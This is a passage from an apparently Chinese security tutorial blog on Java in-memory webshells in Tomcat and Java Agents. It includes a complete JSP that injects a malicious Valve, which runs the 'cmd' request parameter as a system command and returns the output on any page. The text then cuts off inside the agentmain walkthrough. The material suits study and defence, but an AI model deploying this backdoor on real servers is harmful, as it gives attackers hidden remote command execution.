wp-block-quote-is-layout-flow\">\n<p>Tomcat \u6bcf\u4e2a\u5c42\u7ea7\u7684\u5bb9\u5668\uff08Engine\u3001Host\u3001Context\u3001Wrapper\uff09\uff0c\u90fd\u6709\u57fa\u7840\u7684 Valve \u5b9e\u73b0\uff08StandardEngineValve\u3001StandardHostValve\u3001StandardContextValve\u3001StandardWrapperValve\uff09\uff0c\u4ed6\u4eec\u540c\u65f6\u7ef4\u62a4\u4e86\u4e00\u4e2a Pipeline \u5b9e\u4f8b\uff08StandardPipeline\uff09\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u4efb\u4f55\u5c42\u7ea7\u7684\u5bb9\u5668\u4e0a\u9488\u5bf9\u8bf7\u6c42\u5904\u7406\u8fdb\u884c\u6269\u5c55\u3002\u8fd9\u56db\u4e2a Valve \u7684\u57fa\u7840\u5b9e\u73b0\u90fd\u7ee7\u627f\u4e86 ValveBase\u3002\u8fd9\u4e2a\u7c7b\u5e2e\u6211\u4eec\u5b9e\u73b0\u4e86\u751f\u547d\u63a5\u53e3\u53caMBean \u63a5\u53e3\uff0c\u4f7f\u6211\u4eec\u53ea\u9700\u4e13\u6ce8\u9600\u95e8\u7684\u903b\u8f91\u5904\u7406\u5373\u53ef\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\uff0cTomcat \u4e2d\u7684 <strong>Valve<\/strong> \u662f\u5176\u6838\u5fc3\u67b6\u6784\u7684\u4e00\u90e8\u5206\uff0c\u5c5e\u4e8e <strong>Catalina \u5bb9\u5668<\/strong>\u4e2d\u7684\u4e00\u4e2a\u91cd\u8981\u6269\u5c55\u70b9\uff0c\u7528\u4e8e<strong>\u5bf9\u8bf7\u6c42\u548c\u54cd\u5e94\u8fdb\u884c\u62e6\u622a\u3001\u5904\u7406\u3001\u76d1\u63a7\u6216\u4fee\u6539<\/strong>\u3002\u5b83\u662f\u5b9e\u73b0\u7c7b\u4f3c <strong>Filter\uff08\u8fc7\u6ee4\u5668\uff09<\/strong> \u7684\u529f\u80fd\uff0c\u4f46\u662f\u5728 <strong>Tomcat \u5185\u90e8\u7684\u66f4\u5e95\u5c42\u3001\u66f4\u9760\u8fd1\u5bb9\u5668\u6838\u5fc3\u7684\u673a\u5236<\/strong>\uff0c\u4e00\u822c\u7528\u4e8e\u65e5\u5fd7\u8bb0\u5f55\u3001\u5b89\u5168\u63a7\u5236\u3001URL \u91cd\u5199\u3001\u8bf7\u6c42\u62e6\u622a\u7b49\u4efb\u52a1\u3002<\/p>\n\n\n\n<p>\u6bd4\u5982\u4e0a\u9762\u63d0\u5230\u7684StandardEngineValve\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u7ee7\u627f\u4e86ValveBase\uff0c\u4e14\u6211\u4eec\u80fd\u62ff\u5230\u8f93\u5165\u548c\u8f93\u51fa\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-224616-13-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-224616-13-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u5982\u4f55\u6ce8\u5165Valve\u5462\uff0c\u6211\u4eec\u7684\u8001\u670b\u53cb<code>StandardContext<\/code>\u91cc\u5176\u5b9e\u76f4\u63a5\u5c31\u6709\uff0c\u5728<code>StandardContext<\/code>\u91cc\u53ef\u4ee5\u770b\u5230\u5b83\u4f7f\u7528\u4e86\u5f88\u591a\u6b21 <code>this.getPipeline<\/code>\u6765\u83b7\u53d6<code>StandardPipeline<\/code>\uff0c\u800c\u8fd9\u4e2a\u65b9\u6cd5\u5b9e\u9645\u4e0a\u662f\u76f4\u63a5\u4ece\u7236\u7c7b<code>ContainerBase<\/code>\u7ee7\u627f\u6765\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-230314-13-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-230314-13-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:601px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6709\u4e86<code>StandardPipeline<\/code>\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528<code>addValve<\/code>\u6dfb\u52a0Valve\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-230517-13-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-230517-13-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:652px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u5b8c\u6574\u7684\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%@ page contentType=\"text\/html;charset=UTF-8\" language=\"java\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationContext\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.StandardContext\" %&gt;\n&lt;%@ page import=\"javax.servlet.*\" %&gt;\n&lt;%@ page import=\"java.io.IOException\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.connector.Request\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.valves.ValveBase\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.connector.Response\" %&gt;\n\n&lt;%\n    class ValveDemo extends ValveBase {\n\n        @Override\n        public void invoke(Request request, Response response) throws IOException {\n            String cmd = request.getParameter(\"cmd\");\n            if (cmd != null) {\n                Process process = Runtime.getRuntime().exec(cmd);\n                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n                        new java.io.InputStreamReader(process.getInputStream()));\n                StringBuilder stringBuilder = new StringBuilder();\n                String line;\n                while ((line = bufferedReader.readLine()) != null) {\n                    stringBuilder.append(line + '\\n');\n                }\n                response.getOutputStream().write(stringBuilder.toString().getBytes());\n                response.getOutputStream().flush();\n                response.getOutputStream().close();\n                return;\n            }\n        }\n    }\n%&gt;\n\n&lt;%\n    \/\/ \u83b7\u53d6StandardContext\n    ServletContext servletContext =  request.getSession().getServletContext();\n    Field appctx = servletContext.getClass().getDeclaredField(\"context\");\n    appctx.setAccessible(true);\n    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);\n    Field stdctx = applicationContext.getClass().getDeclaredField(\"context\");\n    stdctx.setAccessible(true);\n    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);\n\n    \/\/\u6ce8\u5165\u6076\u610fValve\n    standardContext.getPipeline().addValve(new ValveDemo());\n\n    out.println(\"inject success\");\n%&gt;<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u8bbf\u95ee\u4e00\u6b21\u8fd9\u4e2aValveShell.jsp\u6ce8\u5165\u4e00\u4e0bValve\uff0c\u6700\u540e\u5373\u53ef\u5728\u4efb\u610f\u9875\u9762RCE\uff0c\u673a\u5236\u7c7b\u4f3c\u4e8eFilter\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-231101-13-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-231101-13-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:690px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Agent\u578b\u5185\u5b58\u9a6c<\/h2>\n\n\n\n<p>Java Agent \u662f Java \u63d0\u4f9b\u7684\u4e00\u79cd <strong>\u8fd0\u884c\u65f6\u5b57\u8282\u7801\u63d2\u6869\u673a\u5236<\/strong>\uff0c\u5141\u8bb8\u5728\u5e94\u7528\u7a0b\u5e8f\u542f\u52a8\u4e4b\u524d\uff08Premain\uff09\u6216\u8fd0\u884c\u65f6\uff08Attach\uff09\u52a8\u6001\u4fee\u6539\u7c7b\u7684\u884c\u4e3a\u3002\u901a\u8fc7 <code>Instrumentation<\/code> \u63a5\u53e3\uff0cJava Agent \u53ef\u4ee5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4fee\u6539\u5b57\u8282\u7801<\/li>\n\n\n\n<li>\u6ce8\u5165\u65b9\u6cd5\u903b\u8f91<\/li>\n\n\n\n<li>\u76d1\u63a7\u654f\u611f API<\/li>\n\n\n\n<li>\u5b9e\u73b0\u65e0\u6587\u4ef6\u843d\u5730\u7684\u5185\u5b58\u540e\u95e8\uff08\u5982\u5185\u5b58\u9a6c\uff09<\/li>\n<\/ul>\n\n\n\n<p>Java Agent \u5e38\u88ab\u7528\u4e8e <strong>\u6027\u80fd\u76d1\u63a7\uff08\u5982 SkyWalking\u3001Arthas\uff09<\/strong>\uff0c\u4f46\u4e5f\u88ab\u653b\u51fb\u8005\u5229\u7528\uff0c\u6ce8\u5165\u6076\u610f\u903b\u8f91\uff0c\u5b9e\u73b0\u7ed5\u8fc7 Filter\u3001Servlet \u7684\u9690\u85cf\u901a\u4fe1\u901a\u9053\u3002<\/p>\n\n\n\n<p>Java Agent \u5176\u5b9e\u53ea\u662f\u4e00\u4e2a Java \u7c7b\u800c\u5df2\uff0c\u4f46\u666e\u901a\u7684 Java \u7c7b\u4ee5 main \u51fd\u6570\u4f5c\u4e3a\u5165\u53e3\u70b9\u7684\uff0cJava Agent \u7684\u5165\u53e3\u70b9\u5219\u662f premain \u548c agentmain\uff0c\u6240\u4ee5Java Agent \u652f\u6301\u4e24\u79cd\u65b9\u5f0f\u8fdb\u884c\u52a0\u8f7d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5b9e\u73b0 premain \u65b9\u6cd5\uff0c\u5728\u542f\u52a8\u65f6\u8fdb\u884c\u52a0\u8f7d \uff08\u8be5\u7279\u6027\u5728 jdk 1.5 \u4e4b\u540e\u624d\u6709\uff09<\/li>\n\n\n\n<li>\u5b9e\u73b0 agentmain \u65b9\u6cd5\uff0c\u5728\u542f\u52a8\u540e\u8fdb\u884c\u52a0\u8f7d \uff08\u8be5\u7279\u6027\u5728 jdk 1.6 \u4e4b\u540e\u624d\u6709\uff09<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">premain<\/h3>\n\n\n\n<p>PreDemo.java\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.lang.instrument.Instrumentation;\n\npublic class PreDemo {\n    public static void premain(String args, Instrumentation inst){\n        for (int i = 0; i &lt; 10; i++) {\n            System.out.println(\"hello I'm premain agent!!!\");\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>agent.mf\uff08\u6ce8\u610f\u6700\u540e\u6709\u4e2a\u6362\u884c\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Manifest-Version: 1.0\nPremain-Class: PreDemo\n<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u6253\u5305jar\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>javac PreDemo.java\njar cvfm agent.jar agent.mf PreDemo.class<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u5e94\u8be5\u53ef\u4ee5\u770b\u5230\u4e00\u4e2aagent.jar\uff0c\u7136\u540e\u968f\u4fbf\u5199\u4e2a\u5c0fdemo\u7528Agent.jar\u8fdb\u884c\u52ab\u6301\uff0c\u6309\u76f8\u4f3c\u6d41\u7a0b\u5904\u7406\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class Hello {\n    public static void main(String&#91;] args) {\n        System.out.println(\"Hello,Java\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>Hello.mf\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Manifest-Version: 1.0\nMain-Class: Hello\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>javac Hello.java\njar cvfm hello.jar Hello.mf Hello.class<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u8fd0\u884c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -javaagent:agent.jar -jar hello.jar<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u73b0\u5728\u5c31\u5728\u8fd0\u884c main \u65b9\u6cd5\u4e4b\u524d\u4f1a\u5148\u53bb\u8c03\u7528\u6211\u4eec jar \u5305\u4e2d Premain-Class\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-222611-15-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-222611-15-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5176\u5b9e\u6700\u539f\u59cb\u7684\u542f\u52a8\u547d\u4ee4\u5e94\u8be5\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -javaagent:agent.jar&#91;=options] -jar hello.jar<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2aoptions\u662f\u6765\u7ed9\u6211\u4eec\u7684premain\u4f20\u53c2\u7684\uff0c\u4e5f\u5c31\u662f\u8fd9\u4e2aargs\uff0c\u867d\u7136\u6211\u4eec\u7684demo\u91cc\u6ca1\u7528\u4e0a\uff0c\u800c\u8fd9\u4e2aInstrumentation\u5c31\u5927\u6709\u6765\u5934\u4e86\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Instrumentation Instrumentation \u662f JVMTIAgent\uff08JVM Tool Interface Agent\uff09\u7684\u4e00\u90e8\u5206\uff0cJava agent \u901a\u8fc7\u8fd9\u4e2a\u7c7b\u548c\u76ee\u6807 JVM \u8fdb\u884c\u4ea4\u4e92\uff0c\u4ece\u800c\u8fbe\u5230\u4fee\u6539\u6570\u636e\u7684\u6548\u679c \u5728 Instrumentation \u4e2d\u589e\u52a0\u4e86\u540d\u53eb transformer \u7684 Class \u6587\u4ef6\u8f6c\u6362\u5668\uff0c\u8f6c\u6362\u5668\u53ef\u4ee5\u6539\u53d8\u4e8c\u8fdb\u5236\u6d41\u7684\u6570\u636e Transformer \u53ef\u4ee5\u5bf9\u672a\u52a0\u8f7d\u7684\u7c7b\u8fdb\u884c\u62e6\u622a\uff0c\u540c\u65f6\u53ef\u5bf9\u5df2\u52a0\u8f7d\u7684\u7c7b\u8fdb\u884c\u91cd\u65b0\u62e6\u622a\uff0c\u6240\u4ee5\u6839\u636e\u8fd9\u4e2a\u7279\u6027\u6211\u4eec\u80fd\u591f\u5b9e\u73b0\u52a8\u6001\u4fee\u6539\u5b57\u8282\u7801<\/p>\n<\/blockquote>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-223010.-15-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-223010.-15-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:680px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5176\u4e2d\u6709\u4e00\u4e9b\u6bd4\u8f83\u91cd\u8981\u7684\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public interface Instrumentation {\n \n    \/\/ \u589e\u52a0\u4e00\u4e2a Class \u6587\u4ef6\u7684\u8f6c\u6362\u5668\uff0c\u8f6c\u6362\u5668\u7528\u4e8e\u6539\u53d8 Class \u4e8c\u8fdb\u5236\u6d41\u7684\u6570\u636e\uff0c\u53c2\u6570 canRetransform \u8bbe\u7f6e\u662f\u5426\u5141\u8bb8\u91cd\u65b0\u8f6c\u6362\u3002\u5728\u7c7b\u52a0\u8f7d\u4e4b\u524d\uff0c\u91cd\u65b0\u5b9a\u4e49 Class \u6587\u4ef6\uff0cClassDefinition \u8868\u793a\u5bf9\u4e00\u4e2a\u7c7b\u65b0\u7684\u5b9a\u4e49\uff0c\u5982\u679c\u5728\u7c7b\u52a0\u8f7d\u4e4b\u540e\uff0c\u9700\u8981\u4f7f\u7528 retransformClasses \u65b9\u6cd5\u91cd\u65b0\u5b9a\u4e49\u3002addTransformer \u65b9\u6cd5\u914d\u7f6e\u4e4b\u540e\uff0c\u540e\u7eed\u7684\u7c7b\u52a0\u8f7d\u90fd\u4f1a\u88ab Transformer \u62e6\u622a\u3002\u5bf9\u4e8e\u5df2\u7ecf\u52a0\u8f7d\u8fc7\u7684\u7c7b\uff0c\u53ef\u4ee5\u6267\u884c retransformClasses \u6765\u91cd\u65b0\u89e6\u53d1\u8fd9\u4e2a Transformer \u7684\u62e6\u622a\u3002\u7c7b\u52a0\u8f7d\u7684\u5b57\u8282\u7801\u88ab\u4fee\u6539\u540e\uff0c\u9664\u975e\u518d\u6b21\u88ab retransform\uff0c\u5426\u5219\u4e0d\u4f1a\u6062\u590d\u3002\n    void addTransformer(ClassFileTransformer transformer);\n \n    \/\/ \u5220\u9664\u4e00\u4e2a\u7c7b\u8f6c\u6362\u5668\n    boolean removeTransformer(ClassFileTransformer transformer);\n \n    \/\/ \u5728\u7c7b\u52a0\u8f7d\u4e4b\u540e\uff0c\u91cd\u65b0\u5b9a\u4e49 Class\u3002\u8fd9\u4e2a\u5f88\u91cd\u8981\uff0c\u8be5\u65b9\u6cd5\u662f 1.6 \u4e4b\u540e\u52a0\u5165\u7684\uff0c\u4e8b\u5b9e\u4e0a\uff0c\u8be5\u65b9\u6cd5\u662f update \u4e86\u4e00\u4e2a\u7c7b\u3002\n    void retransformClasses(Class&lt;?>... classes) throws UnmodifiableClassException;\n \n    \/\/ \u5224\u65ad\u76ee\u6807\u7c7b\u662f\u5426\u80fd\u591f\u4fee\u6539\u3002\n    boolean isModifiableClass(Class&lt;?> theClass);\n \n    \/\/ \u83b7\u53d6\u76ee\u6807\u5df2\u7ecf\u52a0\u8f7d\u7684\u7c7b\u3002\n    @SuppressWarnings(\"rawtypes\")\n    Class&#91;] getAllLoadedClasses();\n \n    ......\n}<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u770b\u5230\u8fd9\u4e2aaddTransformer\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-223533-15-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-223533-15-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:774px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4ed6\u9700\u8981\u4e00\u4e2aClassFileTransformer\uff0c\u800c\u8fd9\u4e2a\u4e1c\u897f\u672c\u8d28\u5c31\u662f\u4e00\u4e2atransform\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-223639-15-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-223639-15-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:713px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u5411\u8fd9\u4e2atransform\u91cc\u5199\u4e00\u4e9b\u6076\u610f\u4ee3\u7801\uff0c\u5c31\u53ef\u4ee5\u5728\u7c7b\u52a0\u8f7d\u4e4b\u524d\u88ab\u63d0\u524d\u8c03\u7528\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">agentmain\u00a0<\/h3>\n\n\n\n<p>agentmain\u901a\u8fc7<code>VirtualMachineDescriptor<\/code>\u548c<code>VirtualMachine<\/code>\u5b9e\u73b0\u52a0\u8f7d\uff0c\u901a\u8fc7 VirtualMachine \u7c7b\u7684 attach (pid) \u65b9\u6cd5\uff0c\u53ef\u4ee5 attach \u5230\u4e00\u4e2a\u8fd0\u884c\u4e2d\u7684 java \u8fdb\u7a0b\u4e0a\uff0c\u4e4b\u540e\u4fbf\u53ef\u4ee5\u901a\u8fc7 loadAgent (agentJarPath) \u6765\u5c06 agent \u7684 jar \u5305\u6ce8\u5165\u5230\u5bf9\u5e94\u7684\u8fdb\u7a0b\uff0c\u7136\u540e\u5bf9\u5e94\u7684\u8fdb\u7a0b\u4f1a\u8c03\u7528 agentmain \u65b9\u6cd5\u3002<\/p>\n\n\n\n<p>agent2.mf\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Manifest-Version: 1.0\nCan-Redefine-Classes: true\nCan-Retransform-Classes: true\nAgent-Class: AgentDemo\n<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5199\u4e00\u4e2aAgentDemo\uff0c\u6309\u4e4b\u524d\u7684\u529e\u6cd5\u6253\u5305\u6210jar\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.lang.instrument.Instrumentation;\n\npublic class AgentDemo {\n    public static void agentmain(String agentArgs, Instrumentation inst) {\n        for (int i = 0; i &lt; 10; i++) {\n            System.out.println(\"hello I'm agentMain!!!\");\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u5148\u628a\u4e4b\u524d\u7684Hello.java\u6539\u4e00\u6539\uff0c\u8ba9\u4ed6\u4e00\u76f4\u6302\u5728\u540e\u53f0 <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class Hello {\n    public static void main(String&#91;] args) {\n        System.out.println(\"Hello, Java\");\n        try {\n            \/\/ \u6302\u8d77\u4e3b\u7ebf\u7a0b\uff0c\u6a21\u62df\u540e\u53f0\u670d\u52a1\n            Thread.currentThread().join();\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u6253\u5305\u540e\u4e4b\u540e\u7528java -jar\u8fd0\u884c\u5728\u540e\u53f0\uff0c\u7528<code>jps -l<\/code>\u62ff\u5230\u8fdb\u7a0b\u53f7\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-224740-15-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" 